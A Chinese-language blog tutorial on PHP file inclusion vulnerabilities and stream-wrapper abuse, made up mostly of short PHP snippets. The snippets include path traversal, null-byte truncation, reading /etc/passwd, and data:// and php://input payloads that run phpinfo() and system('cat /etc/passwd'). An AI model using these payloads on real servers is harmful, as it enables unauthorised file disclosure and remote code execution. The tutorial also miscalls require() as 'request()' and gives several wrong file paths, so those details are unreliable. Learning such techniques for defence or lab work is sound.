文件包含漏洞与伪协议利用

血红的双手。 提交于 2020-03-10 05:25:33

0x00 基础

包含函数:

函数 概况
include(filepathfilepath & <urlurl&伪协议>) 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
include_once(filepathfilepath & <urlurl&伪协议>) 只包含一次,其它同上
request(filepathfilepath & <urlurl&伪协议>) 在包含的过程中如果出现错误,会直接报错并退出程序的执行
request_once(filepathfilepath & <urlurl&伪协议>) 只包含一次,其它同上
file(filepathfilepath & <urlurl&伪协议>) 把整个文件读入一个数组
fopen(filepathfilepath & <urlurl&伪协议>,$modemode) 打开文件或者URL(包含伪协议),搭配fread()和fgets()使用
readfile(filepathfilepath & <urlurl&伪协议>) 读取并输出文件(不输出php代码),返回字节数
highlight_file(filepathfilepath & <urlurl&伪协议>) 高亮输出代码
show_source(filepathfilepath & <urlurl&伪协议>) 同上
file_get_contents((filepathfilepath & <urlurl&伪协议>) 把整个文件读入一个字符串

php配置文件:php.ini

allow_url_fopen=<bool>:允许获取远程url文件信息

<?php 
file_get_contents("http://127.0.0.1/test.php/") //如:file()、file_get_contents()
?>                             注:url后要加"/",只能获取php信息,不能获取https协议信息。

allow_url_include=<bool>:允许包含运行远程url文件和部分伪协议(‘php://input’和’data://’)

<?php
 include('php://input') //如include()、request()
 ?> 

0x01 文件包含

include($path)及其类似函数会包含其他文件,默认所有文件都当作php执行,不能运行则输出字符串。

  • 本地文件包含
<?php
include(test.php)  //运行test.php
?>
  • 远程文件包含(allow_url_fopen=1&allow_url_include=1)

    注:url后要加"/",只能包含php文件,不能包含https协议。
<?php
include('http://127.0.0/test.php')  //运行test.php
?>
  • 读取重要文件

/etc/passwd    //用户信息文件
/etc/my.conf   //mysql配置文件
/etc/php/ini   //php配置文件
<?php
include('/etc/password');
?>
  • 包含限制

  1. 目录遍历
<?php
$a=$_GET['a'];
include('/var/www/html'.$a);     //越权读取文件 ?a=../../../passwd
?>
  1. 00截断

00截断究其原因是因为chr(0)这个字符,也就是ascii码第一位字符,这个字符会忽略后面的字符,从而达到截断的目的,它的url编码是 %00,十六进制是0x00,00截断漏洞存在于php5.2.0及更低版本中。

<?php
$a=$_GET['a'];
include($a.'/var/www/html/1.txt') //截断后面字符  ?a=/etc/passwd%00
?>
  • 伪协议包含:如下

0x02 伪协议

  • php://input(allow_url_fopen=0&allow_url_include=1)

获取post数据 ,可以使用file()和file_get_contents()读取数据

<?php
$a=file('php://input');
$b=file_get_contents('php://input');
print_r($a);
echo $b
?>

也可以使用include()等包含函数运行传入的数据代码

<?php
include('php://input')  #post数据传入<?php phpinfo();?>
?>
  • php://filter(allow_url_fopen=0&allow_url_include=0),base64编码读取源代码
<?php
include('php://filter/read=convert.base64-encode/resource=test.php');
?>
  • file://(allow_url_fopen=0&allow_url_include=0),访问本地文件系统,必须用绝对路径
<?php
include('file:///etc/passwd') //读取本地文件
?>
  • data://(allow_url_fopen=1&allow_url_include=1)传输数据
<?php
include('data://text/plain,<?php phpinfo()?>');                //传输php代码数据并运行
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=');  //解码base64传输数据
include('data://text/plain,<?php system('cat /etc/passwd')?>');//利用命令执行读取本地文件
?>

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!